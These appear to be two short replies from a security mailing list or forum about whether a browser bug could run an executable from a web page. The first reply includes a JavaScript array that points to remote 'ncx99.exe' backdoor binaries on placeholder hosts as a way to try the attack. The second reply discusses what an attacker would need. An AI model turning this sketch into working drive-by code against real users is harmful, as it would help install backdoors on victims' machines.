Another thought... will this bug run an executable from a web page? If so you could just make your own binary to do whatever you wanted. Like http://mysiteathome.com/malware.exe or something along those lines. I would HOPE that it asks to save the file to disk or even better ignore it all together. Maybe try something like:

var programName=new Array(
   'http://mysiteathome.com/ncx99.exe&apos;,
   'http://someothersite.com/ncx99.exe&apos;,
);

I would do this myself but I don't have any windows boxen to test.

I apologise if someone has already addressed this.

You would probably be able to do this. However, you would first need
to place the batch file on the target machine. Then you would have to
sit around and hope the user visits your malicious site. Though, if
you have the capability to write to someone's harddrive you could do
something much nastier than this :)
